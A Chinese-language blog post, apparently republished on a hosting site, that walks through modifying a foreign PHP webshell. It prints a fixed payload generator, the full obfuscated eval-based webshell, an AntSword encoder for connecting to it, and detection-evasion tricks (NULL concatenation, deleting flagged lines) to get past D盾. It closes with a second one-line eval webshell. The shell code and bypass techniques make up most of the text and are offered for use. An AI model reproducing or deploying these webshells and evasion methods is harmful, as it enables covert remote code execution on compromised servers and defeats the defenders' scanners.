您好,登錄后才能下訂單哦!
這篇文章給大家介紹php中為什么提交的命令大于11個字符就報錯,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
在地氣文章末尾留下了送給大家的彩蛋(認真讀文章的我肯定不會中標~)。
下邊就和大家分享一下彩蛋的蛋是怎么玩兒的。
在地氣哥Payload工具中,key的值被復制了多次,為的是當我們輸入Payload語句被程序進行serialize之后,將每一位都進行ASCII碼后的異或運算,來逆推出加密的Base64代碼,我們可以從第25-28行的語句中看到逆推過程,是因為從substr中來逐步ASCII碼。
我們看一下當substr函數返回空時,情況是怎么樣的。
我們看到,當substr截取不到任何東西時,PHP返回“空”,但是在進行ord強制轉換后,返回的是實打實的0,因為地氣哥中的key是寫死的,當我們生成的Payload比較多的時候,就會出現0去異或程序中生成的第一次加密Payload某一位的情況,這顯然是不合理的。
解決該問題最有效的方法應該就是讓程序動態的去復制粘貼Key,這樣可以達到長度無限的情況。
這里筆者粘貼出已修改的腳本:
<?php $str = array( 'ak' => 'aec7e489-2fbc-4b15-871f-1d686eeb80dc', 'a' => 'e', 'd' => $_GET['payload'] ); $seria = serialize($str); $cookiepre = ''; $pass = str_repeat('t', strlen($seria) - 1); $text = ''; for($i = 0; $i < strlen($seria); $i++){ $text .= chr(ord($seria[$i]) ^ ord($pass)); } echo $pass . '<br>'; $key = $str['ak']; $value = ''; for($i = 0; $i < strlen($text); $i++){ if(!$key[$i]){ $key .= $str['ak']; } $value .= chr(ord($text[$i]) ^ ord($key[$i])); } echo base64_encode($value);
測試效果:
成功解決了Payload長度問題。
既然解決了Payload長度問題,那么如果我們可以將該馬兒更加方便的使用,那該多好啊。
筆者想到的是,如果可以使用蟻劍去連接,那豈不是舒服的很。畢竟該國外馬兒加密的流量非常強悍的。
當然我們要想要與蟻劍進行交互,我們首先要解決一個問題,該問題是馬兒中的unserialize函數。
Unserialize函數是用來反序列化的,但是他方便了PHP的同時卻不太適合蟻劍,因為蟻劍是基于nodeJs而開發,同時遵循了Js的語法規則,我們知道在Js中定義數組必須為索引下標,在PHP中定義數組下標可以是字符串類型,這牽扯到了該馬兒的核心:第48行的$vv[‘ak’]。如果我們使用unserialize函數,可能不太方便Js與PHP的交互。
在一個正常的WEB應用中,前臺(Js)與后臺(PHP/JAVA等)語言中,Json為主要的傳輸數據的格式,這里筆者將unserialize函數改為json_decode。如圖:
這樣起來我們就可以在nodeJs與PHP之間搭建一個溝通的橋梁。
新馬兒代碼:
<?php $da59aa5 = 208; $GLOBALS['w8fd00d8'] = Array(); global $w8fd00d8; $w8fd00d8 = $GLOBALS; ${"\x47\x4c\x4fB\x41\x4c\x53"}['a904'] = "\x2f\x25\x32\x54\x75\x3a\x5e\x36\x31\x48\x21\x5b\x30\x66\x20\x5f\x56\x5a\x4d\x23\x3e\x37\x71\x29\x26\x2c\x68\x7e\x5c\x9\x64\x69\x6e\x3c\x6b\x2b\x61\x2d\x4a\x47\x42\x7c\xa\x6a\x7b\x6f\x52\x27\x4c\x39\x55\x63\x4b\x7a\x49\x3f\x5d\x76\x33\x59\x43\x62\x24\x38\x79\x70\x72\x67\x28\x35\x46\x3d\x7d\x65\x57\x41\x53\x44\x73\x60\x58\x34\x77\x22\x6c\x6d\x4e\x45\x4f\x40\x78\x74\x50\xd\x2a\x2e\x3b\x51"; @ini_set('error_log', NULL); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @set_time_limit(0); if (!defined('ALREADY_RUN_366afb8a8a2355ab21fbf11ba1a02fba')){ define('ALREADY_RUN_366afb8a8a2355ab21fbf11ba1a02fba', 1); $vv = NULL; $kk = NULL; $w8fd00d8['c77700426'] = 'aec7e489-2fbc-4b15-871f-1d686eeb80dc'; global $c77700426; function e664fd($vv, $kk){ global $w8fd00d8; $n513761 = ""; for ($i=0;$i<strlen($vv);){ for ($p=0;$p<strlen($kk) && $i<strlen($vv);$p++, $i++){ $n513761 .= chr(ord($vv[$i]) ^ ord($kk[$p])); } } return $n513761; } function x184f5cc($vv, $kk){ global $w8fd00d8; global $c77700426; return e664fd(e664fd($vv, $c77700426), $kk); } foreach ($_COOKIE as $k=>$v){ $vv = $v; $kk = $k; } if (!$vv){ foreach ($_POST as $k=>$v){ $vv = $v; $kk = $k; } } $vv = @json_decode(x184f5cc(base64_decode($vv), $kk), true); if (isset($vv['a'.'k']) && $c77700426==$vv['a'.'k']){ if ($vv['a'] == 'i'){ $l71c40 = Array('p'.'v' => @phpversion(),'s'.'v' => '1'.'.'.'0'.'-'.'1',); echo @serialize($l71c40); } elseif ($vv['a'] == 'e'){ eval/*r49557ec*/($vv['d']); } } exit(); } ?>
下邊筆者就編寫了一個蟻劍的編碼器,他用于鏈接該木馬。
編碼器代碼:
/** * php::base64編碼器 * Create at: 2020/10/14 13:38:35 */ 'use strict'; /* * @param {String} pwd 連接密碼 * @param {Array} data 編碼器處理前的 payload 數組 * @return {Array} data 編碼器處理后的 payload 數組 */ module.exports = (pwd, data, ext={}) => { // ########## 請在下方編寫你自己的代碼 ################### // 以下代碼為 PHP Base64 樣例 let obj = {'ak':'aec7e489-2fbc-4b15-871f-1d686eeb80dc','a':'e','d':data['_']}; let objStr = JSON.stringify(obj); // 生成一個隨機變量名 let pass = 't'; let t = pass.repeat(obj.d.length - 1); let text = ''; for(let i = 0; i < objStr.length; i ++){ text += String.fromCharCode(objStr[i].charCodeAt() ^ t.charCodeAt()); } let key = obj.ak; var value = ''; for(let i = 0; i < text.length; i++){ if(!key[i]){ key += obj.ak; } value += String.fromCharCode(text[i].charCodeAt() ^ key[i].charCodeAt()); } data[t] = Buffer.from(value).toString('base64'); // ########## 請在上方編寫你自己的代碼 ################### // 刪除 _ 原有的payload delete data['_']; // 返回編碼器處理后的 payload 數組 return data; }
當然,該編碼器的第15行的ak值,需要與馬兒中的key所對應。
演示:
(馬兒密碼任意即可)
該馬兒流量是很強悍了,但是腳本本身并不免殺。
我們看一下馬兒被D盾吊錘:
怎么辦呢?繞啊,這么好的馬子,編碼器都完成了,不能前功盡棄!
看到提示eval后門,參數$vv那邊有問題,我們看一下:
很簡單,使用NULL拼接大法(雖然一些普遍的馬兒都已經過不了了)。
現在不報eval的錯誤了,有戲!
可以看到爆出$GLOBALS的錯誤,我們直接轉移到第6行看一下。
該代碼對整個馬兒不太影響,直接刪掉!
我們在看一下結果:
ByPass!
通過地氣哥的一些分析,從其中得到一些靈感,NULL拼接不再孤獨,再次奔放~!
之前一直疏忽一個問題,$GLOBALS到底里面存放一些什么東西,今天,我們var_dump一下看看。
可以看到$_GET/$_POST/$_COOKIE都存放在這些東西里面。
這個時候筆者想到了eval/**/()格式,以及一些變量值的混淆,寫出第二個簡約一句話木馬。
<?php $a = $GLOBALS; $str = '_GET'; eval(''. $a[$str]['c']. NULL);
Phpinfo:
D盾測試:
關于php中為什么提交的命令大于11個字符就報錯就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。